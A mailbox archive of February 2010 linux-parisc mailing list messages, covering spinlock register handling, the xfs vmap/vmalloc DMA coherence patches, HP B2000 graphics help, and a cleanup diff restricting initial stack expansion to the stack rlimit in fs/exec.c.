Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nduw7-0006I9-KK
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Feb 2010 01:23:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756623Ab0BGAXh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Feb 2010 19:23:37 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54658 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756609Ab0BGAXh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Feb 2010 19:23:37 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Nduw3-0008CW-Dc; Sun, 07 Feb 2010 00:23:35 +0000
Content-Disposition: inline
In-Reply-To: <20091208030114.GA12872@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2631
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2631>

On Mon, Dec 07, 2009 at 10:01:14PM -0500, John David Anglin wrote:
> -	volatile unsigned int *a;
> +	volatile register unsigned int *a asm ("r20") = __ldcw_align(x);
>  

I'm reticent about moving the assignment around the mb(), should I edit
this to return the assignment and apply, or apply as is?

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next2
Date: Sun, 07 Feb 2010 00:25:47 +0000
Lines: 155
Approved: news@gmane.org
Message-ID: <201002070025.o170Plut020951@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265502352 10915 80.91.229.12 (7 Feb 2010 00:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Feb 2010 00:25:52 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 07 01:25:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NduyD-0007WO-6R
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Feb 2010 01:25:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753063Ab0BGAZs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Feb 2010 19:25:48 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:43366 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752638Ab0BGAZr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Feb 2010 19:25:47 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id o170PlMP020954
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sun, 7 Feb 2010 00:25:47 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id o170Plut020951
	for linux-parisc@vger.kernel.org; Sun, 7 Feb 2010 00:25:47 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.1 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00,
	DATE_IN_FUTURE_48_96,FH_DATE_PAST_20XX autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Sun, 07 Feb 2010 00:25:47 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2632
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2632>

New commits:
commit 2bf59ba67ddef9c1e9e87aa3fedcf6ceac8248f2
Author: john stultz <johnstul@us.ibm.com>
Date:   Wed Dec 23 04:14:03 2009 +0000

    parisc: Convert to read/update_persistent_clock
    
    This patch converts the parisc architecture to use the generic
    read_persistent_clock and update_persistent_clock interfaces, reducing
    the amount of arch specific code we have to maintain, and allowing for
    further cleanups in the future.
    
    I have not built or tested this patch, so help from arch maintainers
    would be appreciated.
    
    Signed-off-by: John Stultz <johnstul@us.ibm.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit c08051ba9604b1a1d54644bc7f9feb8911fd226e
Author: James Bottomley <James.Bottomley@suse.de>
Date:   Fri Feb 5 15:50:57 2010 +0000

    xfs: fix xfs to work with Virtually Indexed architectures
    
    xfs_buf.c includes what is essentially a hand rolled version of
    blk_rq_map_kern().  In order to work properly with the vmalloc buffers
    that xfs uses, this hand rolled routine must also implement the flushing
    API for vmap/vmalloc areas.
    
    [style updates from hch@lst.de]
    Signed-off-by: James Bottomley <James.Bottomley@suse.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 5d5a78f63b99ad8e9ef0215593998ed8e6e4dd6c
Author: James Bottomley <James.Bottomley@suse.de>
Date:   Fri Feb 5 15:50:56 2010 +0000

    sh: add mm API for DMA to vmalloc/vmap areas
    
    Signed-off-by: James Bottomley <James.Bottomley@suse.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 12805df7794465ca243da0d4bf94358d292527a3
Author: James Bottomley <James.Bottomley@suse.de>
Date:   Fri Feb 5 15:50:55 2010 +0000

    arm: add mm API for DMA to vmalloc/vmap areas
    
    ARM cannot prevent cache movein, so this patch implements both the
    flush and invalidate pieces of the API.
    
    Signed-off-by: James Bottomley <James.Bottomley@suse.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit a2030dc9b328f4fa968677a3e5797f8dd35b7b31
Author: James Bottomley <James.Bottomley@suse.de>
Date:   Fri Feb 5 15:50:54 2010 +0000

    parisc: add mm API for DMA to vmalloc/vmap areas
    
    We already have an API to flush a kernel page along an alias
    address, so use it.  The TLB purge prevents the CPU from doing
    speculative moveins on the flushed address, so we don't need to
    implement and invalidate.
    
    Signed-off-by: James Bottomley <James.Bottomley@suse.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 874f257d4af720867cba996dafeead114e37ebbe
Author: James Bottomley <James.Bottomley@suse.de>
Date:   Fri Feb 5 15:50:53 2010 +0000

    mm: add coherence API for DMA to vmalloc/vmap areas
    
    On Virtually Indexed architectures (which don't do automatic alias
    resolution in their caches), we have to flush via the correct
    virtual address to prepare pages for DMA.  On some architectures
    (like arm) we cannot prevent the CPU from doing data movein along
    the alias (and thus giving stale read data), so we not only have to
    introduce a flush API to push dirty cache lines out, but also an invalidate
    API to kill inconsistent cache lines that may have moved in before
    DMA changed the data
    
    Signed-off-by: James Bottomley <James.Bottomley@suse.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 6f137c5a33a8a25e235d1f0f614c3f3b2d83e2c8
Author: Robert P. J. Day <rpjday@crashcourse.ca>
Date:   Thu Dec 31 20:43:55 2009 +0000

    parisc: Simplify param.h by including <asm-generic/param.h>
    
    Signed-off-by: Robert P. J. Day <rpjday@crashcourse.ca>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 59ff3c2f58932717031f0e42041eab294d1c2583
Author: Helge Deller <deller@gmx.de>
Date:   Tue Feb 2 19:06:23 2010 +0000

    parisc: drop unnecessary cast in __ldcw_align() macro
    
    __ldcw_align() can directly access the slock member of struct arch_spinlock_t
    instead of using an ugly cast.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 081e56c8424d51663ed29e69c7d3393228c90764
Author: Helge Deller <deller@gmx.de>
Date:   Mon Feb 1 19:56:33 2010 +0000

    parisc: add strict copy size checks (v2)
    
    Add CONFIG_DEBUG_STRICT_USER_COPY_CHECKS, copied from the x86
    implementation. Tested with 32 and 64bit kernel.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 06ba2126d13589c5b4b7672abb9c74198dd84957
Author: Frans Pop <elendil@planet.nl>
Date:   Sat Feb 6 17:47:14 2010 +0000

    parisc: remove trailing space in messages
    
    Signed-off-by: Frans Pop <elendil@planet.nl>
    Cc: linux-parisc@vger.kernel.org
    Cc: Kyle McMartin <kyle@mcmartin.ca>
    Cc: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 19a8f5f7e1a516ff0ac5940e211165520d7caea1
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sat Dec 26 17:19:17 2009 +0000

    parisc: ditto sys_accept4
    
    tested with test_accept4.c from de11defebf00007677fb7ee91d9b089b78786fbb
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 53fc237b2a735e99acd043e9aabd7d9423164fdf
Author: Helge Deller <deller@gmx.de>
Date:   Tue Dec 22 22:50:33 2009 +0000

    parisc: wire up sys_recvmmsg
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCHv3 0/5] fix xfs by making I/O to vmap/vmalloc areas work
Date: Sat, 6 Feb 2010 19:26:38 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20100207002638.GQ24051@bombadil.infradead.org>
References: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de> <20100205160640.GA24344@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265502413 11063 80.91.229.12 (7 Feb 2010 00:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Feb 2010 00:26:53 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>,
	linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	rmk@arm.linux.org.uk, lethal@linux-sh.org,
	torvalds@linux-foundation.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 07 01:26:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nduz8-0007WO-5T
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Feb 2010 01:26:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753246Ab0BGA0p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Feb 2010 19:26:45 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54685 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752638Ab0BGA0p (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Feb 2010 19:26:45 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Nduz0-0000RY-P7; Sun, 07 Feb 2010 00:26:38 +0000
Content-Disposition: inline
In-Reply-To: <20100205160640.GA24344@lst.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2633 gmane.linux.kernel.cross-arch:5147
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2633>

On Fri, Feb 05, 2010 at 05:06:40PM +0100, Christoph Hellwig wrote:
> > From: James Bottomley <James.Bottomley@HansenPartnership.com>
> > 
> 
> Agreed.  There's also a lot of ARM users popping up with this recently,
> while others worked around it using local flushing hacks previously.
> 

Thanks, I've applied these to parisc/next to give them a shakedown in
linux-next.

regards, Kyle.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't find a register in class 'R1_REGS' while reloading 'asm'
Date: Sun, 7 Feb 2010 22:20:34 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20100208032035.645A14EF1@hiauly1.hia.nrc.ca>
References: <20100207002335.GP24051@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265599243 22121 80.91.229.12 (8 Feb 2010 03:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Feb 2010 03:20:43 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, cavokz@gmail.com,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 08 04:20:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NeKAw-00045Y-Kc
	for glpp-linux-parisc@lo.gmane.org; Mon, 08 Feb 2010 04:20:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932303Ab0BHDUh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Feb 2010 22:20:37 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3003 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932270Ab0BHDUh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Feb 2010 22:20:37 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 645A14EF1; Sun,  7 Feb 2010 22:20:35 -0500 (EST)
In-Reply-To: <20100207002335.GP24051@bombadil.infradead.org> from "Kyle McMartin" at Feb 6, 2010 07:23:35 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2634
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2634>

> On Mon, Dec 07, 2009 at 10:01:14PM -0500, John David Anglin wrote:
> > -	volatile unsigned int *a;
> > +	volatile register unsigned int *a asm ("r20") = __ldcw_align(x);
> >  
> 
> I'm reticent about moving the assignment around the mb(), should I edit
> this to return the assignment and apply, or apply as is?

I don't believe the __ldcw_align operation involves a memory read or
write.  It's just adjusting a pointer.  Thus moving it past the mb()
shouldn't matter.  That said, I been wrong before...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bringing into life HP B2000
Date: Mon, 8 Feb 2010 09:10:48 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20100208161048.GA7893@lackof.org>
References: <E7AA31FE5C0105418A19147DAF5EA92A0CB05BCAA5@server.igig.up.wroc.pl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265645457 32716 80.91.229.12 (8 Feb 2010 16:10:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Feb 2010 16:10:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Witold Rohm <witold.rohm@igig.up.wroc.pl>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 08 17:10:54 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NeWCH-0003vn-U3
	for glpp-linux-parisc@lo.gmane.org; Mon, 08 Feb 2010 17:10:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753412Ab0BHQKt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Feb 2010 11:10:49 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:43610 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752963Ab0BHQKt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Feb 2010 11:10:49 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 8C6E533E0008;
	Mon,  8 Feb 2010 09:10:48 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8fpcBEVbgd30; Mon,  8 Feb 2010 09:10:48 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 2ABB233E0136; Mon,  8 Feb 2010 09:10:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <E7AA31FE5C0105418A19147DAF5EA92A0CB05BCAA5@server.igig.up.wroc.pl>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2635
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2635>

On Mon, Feb 08, 2010 at 03:03:21PM +0100, Witold Rohm wrote:
> Dear Grant, 
> I'm presently trying to run debian 5.0 on B2000 Visualize FX
> Hp station - everything goes fine until the X server is starting
> - according to hp pa risc forum - it's not possible to get X window
> running on the FX card, and it's true. 
> So i was trying to mount  PCI card I' ve tried the S3, Matrox II,
> cards and none of them works - even if I change the path console
> to PCI3. I checked the service Chasis codes and it states that:
> "error executing ENTRY INIT" 
> Could you give me any advice or help?

Hi Witold,
Please CC linux-parisc mailing list for help. Folks there know more than I do.

What I do know is normal PCI cards do NOT have the firmware support (aka IODC)
to function as console for PA-RISC. What does work is using a serial console
to setup the machine so X11 can talk to a Matrox card. I'm not sure which
one but I'm pretty sure someone had this working before.

BTW, you've read the parisc graphics-howto?
   http://www.parisc-linux.org/faq/graphics-howto.html

hth,
grant

> Best regards
> Witold Rohm 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.file-systems
Subject: Re: [PATCH] Restrict initial stack space expansion to rlimit
Date: Tue, 9 Feb 2010 13:25:29 -0800
Lines: 142
Approved: news@gmane.org
Message-ID: <20100209132529.bfc455b7.akpm@linux-foundation.org>
References: <20100208161014.7C6D.A69D9226@jp.fujitsu.com>
	<1273.1265695885@neuling.org>
	<20100209154141.03F0.A69D9226@jp.fujitsu.com>
	<11046.1265705967@neuling.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265750903 24691 80.91.229.12 (9 Feb 2010 21:28:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Feb 2010 21:28:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org, aeb@cwi.nl,
	Oleg Nesterov <oleg@redhat.com>, miltonm@bga.com,
	James Morris <jmorris@namei.org>, linuxppc-dev@ozlabs.org,
	Paul Mackerras <paulus@samba.org>, Anton Blanchard <anton@samba.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Serge Hallyn <serue@us.ibm.com>, linux-fsdevel@vger.kernel.org,
	Americo Wang <xiyou.wangcong@gmail.com>, Ingo Molnar <mingo@elte.hu>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	stable@kernel.org, Alexander Viro <viro@zeniv.linux.org.uk>
To: Michael Neuling <mikey@neuling.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue Feb 09 22:28:16 2010
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1Nexd1-0003tu-W8
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 09 Feb 2010 22:28:16 +0100
Original-Received: from bilbo.ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 3D04CB8102
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed, 10 Feb 2010 08:28:07 +1100 (EST)
Original-Received: by ozlabs.org (Postfix)
	id CA8F3B7DC6; Wed, 10 Feb 2010 08:27:57 +1100 (EST)
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from smtp1.linux-foundation.org (smtp1.linux-foundation.org
	[140.211.169.13])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "smtp.linux-foundation.org",
	Issuer "CA Cert Signing Authority" (verified OK))
	by ozlabs.org (Postfix) with ESMTPS id 70467B7DAC
	for <linuxppc-dev@ozlabs.org>; Wed, 10 Feb 2010 08:27:57 +1100 (EST)
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org
	[140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with
	ESMTP id o19LPVPr008332
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 9 Feb 2010 13:25:32 -0800
Original-Received: from akpm.mtv.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org
	(8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id
	o19LPT29002636; Tue, 9 Feb 2010 13:25:29 -0800
In-Reply-To: <11046.1265705967@neuling.org>
X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.9; x86_64-pc-linux-gnu)
X-Spam-Status: No, hits=-5.02 required=5 tests=AWL, BAYES_00,
	OSDL_HEADER_SUBJECT_BRACKETED, PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:32956 gmane.linux.ports.parisc:2637 gmane.linux.kernel:948262 gmane.linux.file-systems:38130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2637>

On Tue, 09 Feb 2010 19:59:27 +1100
Michael Neuling <mikey@neuling.org> wrote:

> > > +	/* Initial stack must not cause stack overflow. */
> > > +	if (stack_expand > stack_expand_lim)
> > > +		stack_expand = stack_expand_lim;
> > >  #ifdef CONFIG_STACK_GROWSUP
> > > -	stack_base = vma->vm_end + EXTRA_STACK_VM_PAGES * PAGE_SIZE;
> > > +	stack_base = vma->vm_end + stack_expand;
> > >  #else
> > > -	stack_base = vma->vm_start - EXTRA_STACK_VM_PAGES * PAGE_SIZE;
> > > +	stack_base = vma->vm_start - stack_expand;
> > >  #endif
> > >  	ret = expand_stack(vma, stack_base);
> > >  	if (ret)
> > 
> > Umm.. It looks correct. but the nested complex if statement seems a bit ugly.
> > Instead, How about following?
> 
> I don't like the duplicated code in the #ifdef/else but I can live with it.

cleanup the cleanup:

--- a/fs/exec.c~fs-execc-restrict-initial-stack-space-expansion-to-rlimit-cleanup-cleanup
+++ a/fs/exec.c
@@ -637,20 +637,17 @@ int setup_arg_pages(struct linux_binprm 
 	 * will align it up.
 	 */
 	rlim_stack = rlimit(RLIMIT_STACK) & PAGE_MASK;
-	if (rlim_stack < stack_size)
-		rlim_stack = stack_size;
+	rlim_stack = min(rlim_stack, stack_size);
 #ifdef CONFIG_STACK_GROWSUP
-	if (stack_size + stack_expand > rlim_stack) {
+	if (stack_size + stack_expand > rlim_stack)
 		stack_base = vma->vm_start + rlim_stack;
-	} else {
+	else
 		stack_base = vma->vm_end + stack_expand;
-	}
 #else
-	if (stack_size + stack_expand > rlim_stack) {
+	if (stack_size + stack_expand > rlim_stack)
 		stack_base = vma->vm_end - rlim_stack;
-	} else {
+	else
 		stack_base = vma->vm_start - stack_expand;
-	}
 #endif
 	ret = expand_stack(vma, stack_base);
 	if (ret)
_

> > note: it's untested.
> 
> Works for me on ppc64 with 4k and 64k pages.  Thanks!
> 
> I'd still like someone with a CONFIG_STACK_GROWSUP arch to test/ACK it
> as well.

There's only one CONFIG_GROWSUP arch - parisc.

Guys, here's the rolled-up patch.  Could someone please test it on
parisc?

err, I'm not sure what one needs to do to test it, actually. 
Presumably it involves setting an unusual `ulimit -s'.  Can someone
please suggest a test plan?




From: Michael Neuling <mikey@neuling.org>

When reserving stack space for a new process, make sure we're not
attempting to expand the stack by more than rlimit allows.

